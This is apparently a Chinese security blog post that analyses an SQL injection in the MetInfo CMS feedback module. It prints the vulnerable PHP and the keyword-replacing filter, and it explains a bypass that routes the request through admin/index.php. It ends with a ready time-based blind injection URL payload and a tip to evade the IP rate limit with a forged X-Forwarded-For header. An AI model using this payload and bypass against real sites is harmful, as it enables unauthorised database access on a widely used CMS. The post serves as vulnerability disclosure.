
黑白网(heibai.org)成立于2014年,多年来以其专业的视角,优质的服务为广大安全技术爱好者提供了目前国内最全的网络安全技术学习资料,普及中国网络安全知识,宣扬正确的黑客极客文化,全方面提高国内安全技术水平。
0x01 前言
这个本来是也不想放出来的,因为metinfo这套cms毕竟使用人数还是挺多的,影响范围也很广。但是一位仁兄已经把另一个无条件的触发点放出来了,那我这个稍微有点条件的藏着掖着也没啥意思,不如好洞成双。
0x02 漏洞分析
漏洞文件:\app\system\feedback\web\feedback.class.php
漏洞函数:add 75行
public function add($info) { global $_M; $query="select * from {$_M[table][config]} where name ='met_fd_ok' and columnid='{$_M[form][id]}' and lang='{$_M[form][lang]}'"; echo $query; $met_fd_ok=DB::get_one($query); $_M[config][met_fd_ok]=$met_fd_ok[value]; if(!$_M[config][met_fd_ok]){ okinfo(-1, $_M['word']['Feedback5']); } if($_M[config][met_memberlogin_code]){ if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){ okinfo(-1, $_M['word']['membercode']); } } if($this->checkword() && $this->checktime()){ foreach ($_FILES as $key => $value) { if($value[tmp_name]){ $ret = $this->upfile->upload($key);//上传文件 if ($ret['error'] == 0) { $info[$key]=$ret[path]; } else { okinfo('javascript:history.back();',$_M[word][opfailed]); } } } $user = $this->get_login_user_info(); $fromurl= $_M['form']['referer'] ? $_M['form']['referer'] : HTTP_REFERER; $ip=getip(); $feedcfg=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}'and name='met_fd_class' and columnid ='{$_M[form][id]}'"); $_M[config][met_fd_class]=$feedcfg[value]; $fdclass2="para".$_M[config][met_fd_class]; $fdclass=$_M[form][$fdclass2]; $title=$fdclass." - ".$_M[form][fdtitle]; $addtime=date('Y-m-d H:i:s',time()); $met_fd_type=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_type' and columnid = {$_M[form][id]}");
代码块的最后一行可以看到{$_M[form][id]} 没有单引号保护,因为mysql也有和php类似的弱类型特性,所以 在id参数引号内拼接注入语句后不影响前面的语句的查询结果:
——————
到代码块的最后一行语句中失去了单引号保护,注入payload生效。
以为这样就直接能注入了吗? 怎么可能!!!
在class文件头部可以看到feedback类继承于web类,
class feedback extends web
跟进web类,没有对用户传入的数据进行过滤等操作,却初始化了common类
class web extends common
在common类初始化时调用了表单过滤的函数load_form()
class common { /** * 初始化 */ public function __construct() { global $_M;//全局数组$_M ob_start();//开启缓存 $this->load_mysql();//数据库连接 $this->load_form();//表单过滤 $this->load_lang();//加载语言配置 $this->load_config_global();//加载全站配置数据 $this->load_url_site(); $this->load_config_lang();//加载当前语言配置数据 $this->load_url();//加载url数据 } 此函数中又调用了过滤SQL注入的函数sqlinsert function sqlinsert($string){ if(is_array($string)){ foreach($string as $key => $val) { $string[$key] = sqlinsert($val); } }else{ $string_old = $string; $string = str_ireplace("\\","/",$string); $string = str_ireplace("\"","/",$string); $string = str_ireplace("'","/",$string); $string = str_ireplace("*","/",$string); $string = str_ireplace("%5C","/",$string); $string = str_ireplace("%22","/",$string); $string = str_ireplace("%27","/",$string); $string = str_ireplace("%2A","/",$string); $string = str_ireplace("~","/",$string); $string = str_ireplace("select", "\sel\ect", $string); $string = str_ireplace("insert", "\ins\ert", $string); $string = str_ireplace("update", "\up\date", $string); $string = str_ireplace("delete", "\de\lete", $string); $string = str_ireplace("union", "\un\ion", $string); $string = str_ireplace("into", "\in\to", $string); $string = str_ireplace("load_file", "\load\_\file", $string); $string = str_ireplace("outfile", "\out\file", $string); $string = str_ireplace("sleep", "\sle\ep", $string); $string = strip_tags($string); if($string_old!=$string){ $string=''; } $string = trim($string); } return $string; }
想绕过这层过滤是比较难的,那怎么解决呢?
所谓大路不通走小路,我们独辟蹊径。
在load_form()中,是daddslashes()调用sqlinsert()过滤sql注入,既然sqliinsert()bypass不太ok,那就看能不能影响语句执行不调用此函数。
function daddslashes($string, $force = 0) { !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { if(!defined('IN_ADMIN')){ $string = trim(addslashes(sqlinsert($string))); }else{ $string = trim(addslashes($string)); } } } return $string; }
在函数的第二个判断中如果defined(‘IN_ADMIN’)不为true就不会走到恶臭的sqlinsert函数,找一个将IN_ADMIN定义为true的php文件就能解决问题。
在admin目录index文件第一行就是把IN_ADMIN定义为true,我们还可以通过此文件动态调用存在漏洞的函数,最最重要的无需任何权限就OK
<?php define('IN_ADMIN', true); $M_MODULE='admin'; if(@$_GET['m'])$M_MODULE=$_GET['m']; if(@!$_GET['n'])$_GET['n']="index"; if(@!$_GET['c'])$_GET['c']="index"; if(@!$_GET['a'])$_GET['a']="doindex"; @define('M_NAME', $_GET['n']); @define('M_MODULE', $M_MODULE); @define('M_CLASS', $_GET['c']); @define('M_ACTION', $_GET['a']); require_once '../app/system/entrance.php'; ?>
那么最终payload为:
http://localhost/admin/index.php?m=web&n=feedback&c=feedback&a=dofeedback&action=add&lang=cn&id=44%20and%20sleep(1)¶141=%E5%95%86%E5%8A%A1%E5%90%88%E4%BD%9C
这里还有一个点就是程序会根据IP来限制只能120秒提交一次反馈,用xff头绕过就可以,具体判断代码就不贴出来了
那么这个洞相比另一个鸡肋在哪呢? 在判断验证码是否正确的上下区间。。 另一个洞是在注入点后判断验证码是否正确,这就可以无视掉验证码,但这个洞是在注入点之前。
这就很难受
管理员在后台关闭提交验证码的条件下才能用脚本注入。
当然,开启的情况下也能注入,就是得每次手动提交验证码,在只能盲注的情况下实在比较尴尬。